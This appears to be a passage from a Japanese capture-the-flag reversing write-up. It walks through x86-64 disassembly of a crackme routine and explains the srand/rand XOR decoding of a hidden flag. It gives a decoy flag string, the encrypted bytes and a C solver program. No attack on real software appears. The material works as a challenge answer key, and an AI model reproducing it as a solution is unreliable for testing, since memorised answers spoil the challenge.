15c: 48 01 d0 add rax, rdx
15f: 0f b6 00 movzx eax, BYTE PTR [rax]
162: 0f be d0 movsx edx, al
165: 8b 45 b4 mov eax, DWORD PTR [rbp-0x4c]
168: 48 98 cdqe
16a: 0f b6 4c 05 c0 movzx ecx, BYTE PTR [rbp+rax*1-0x40]
16f: 8b 45 b4 mov eax, DWORD PTR [rbp-0x4c]
172: 48 63 f0 movsxd rsi, eax
175: 48 8b 45 b8 mov rax, QWORD PTR [rbp-0x48]
179: 48 01 f0 add rax, rsi
17c: 0f b6 00 movzx eax, BYTE PTR [rax]
17f: 38 c1 cmp cl, al
181: 0f 95 c0 setne al
184: 0f b6 c0 movzx eax, al
187: 39 c2 cmp edx, eax
189: 75 6c jne 0x1f7
18b: 83 45 b4 01 add DWORD PTR [rbp-0x4c], 0x1
18f: 8b 45 b4 mov eax, DWORD PTR [rbp-0x4c]
192: 48 63 d8 movsxd rbx, eax
195: 48 8b 45 a8 mov rax, QWORD PTR [rbp-0x58]
199: 48 89 c7 mov rdi, rax
19c: e8 ca fd ff ff call 0xffffffffffffff6b
1a1: 48 39 c3 cmp rbx, rax
1a4: 72 ac jb 0x152
1a6: 8b 45 b0 mov eax, DWORD PTR [rbp-0x50]
1a9: 89 c7 mov edi, eax
1ab: e8 eb fd ff ff call 0xffffffffffffff9b
1b0: c7 45 b4 00 00 00 00 mov DWORD PTR [rbp-0x4c], 0x0
1b7: eb 26 jmp 0x1df
1b9: 8b 45 b4 mov eax, DWORD PTR [rbp-0x4c]
1bc: 48 63 d0 movsxd rdx, eax
1bf: 48 8b 45 b8 mov rax, QWORD PTR [rbp-0x48]
1c3: 48 01 d0 add rax, rdx
1c6: 0f b6 18 movzx ebx, BYTE PTR [rax]
1c9: e8 dd fd ff ff call 0xffffffffffffffab
1ce: 31 c3 xor ebx, eax
1d0: 89 da mov edx, ebx
1d2: 8b 45 b4 mov eax, DWORD PTR [rbp-0x4c]
1d5: 48 98 cdqe
1d7: 88 54 05 c0 mov BYTE PTR [rbp+rax*1-0x40], dl
1db: 83 45 b4 01 add DWORD PTR [rbp-0x4c], 0x1
1df: 83 7d b4 21 cmp DWORD PTR [rbp-0x4c], 0x21
1e3: 7e d4 jle 0x1b9
1e5: c6 45 e2 00 mov BYTE PTR [rbp-0x1e], 0x0
1e9: 48 8d 45 c0 lea rax, [rbp-0x40]
1ed: 48 89 c7 mov rdi, rax
1f0: e8 66 fd ff ff call 0xffffffffffffff5b
1f5: eb 01 jmp 0x1f8
1f7: 90 nop
1f8: 48 8b 45 e8 mov rax, QWORD PTR [rbp-0x18]
1fc: 64 48 33 04 25 28 00 xor rax, QWORD PTR fs:0x28
203: 00 00
205: 74 05 je 0x20c
207: e8 6f fd ff ff call 0xffffffffffffff7b
20c: 48 83 c4 58 add rsp, 0x58
210: 5b pop rbx
211: 5d pop rbp
212: c3 ret
0x601080 には CTF{u53_7h3_f0rc3_4nd_7ry_h4rd_my_fr13nd}
という文字列、0x400858 には \xd0\x73\x2a\xa0\xd8\xb2\xd3\x7d\x47\xaa\x19\x24\xdf\xc8\xa8\x49\x7b\x99\xd9\x97\xe8\xab\x74\x26\xc1\x26\x5e\xed\x52\x02\x99\x91\x69\x20
という文字列が格納されています。
rbp-0x50
には以下のような処理の結果が入ります。
int var_50 = 1;
for (i = 0; i < strlen(global_601080); i++) {
var_50 += global_601080[i] * global_601080[i + 1] + global_601080[i + 2];
}
その後 rbp-0x50
を引数に srand
と思われる関数を呼び出し、0x400858 を 1 文字ずつ rand()
と xor しています。
以下のコードをコンパイルして実行するとフラグが得られました。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
char *global_601080 = "CTF{u53_7h3_f0rc3_4nd_7ry_h4rd_my_fr13nd}";
char var_40[] = "\xd0\x73\x2a\xa0\xd8\xb2\xd3\x7d\x47\xaa\x19\x24\xdf\xc8\xa8\x49\x7b\x99\xd9\x97\xe8\xab\x74\x26\xc1\x26\x5e\xed\x52\x02\x99\x91\x69\x20";
int var_50 = 1, i;
for (i = 0; i < strlen(global_601080); i++) {
var_50 += global_601080[i] * global_601080[i + 1] + global_601080[i + 2];
}
srand(var_50);
for (i = 0; i <= 0x21; i++) {
var_40[i] ^= rand() & 0xff;
}
puts(var_40);
return 0;
}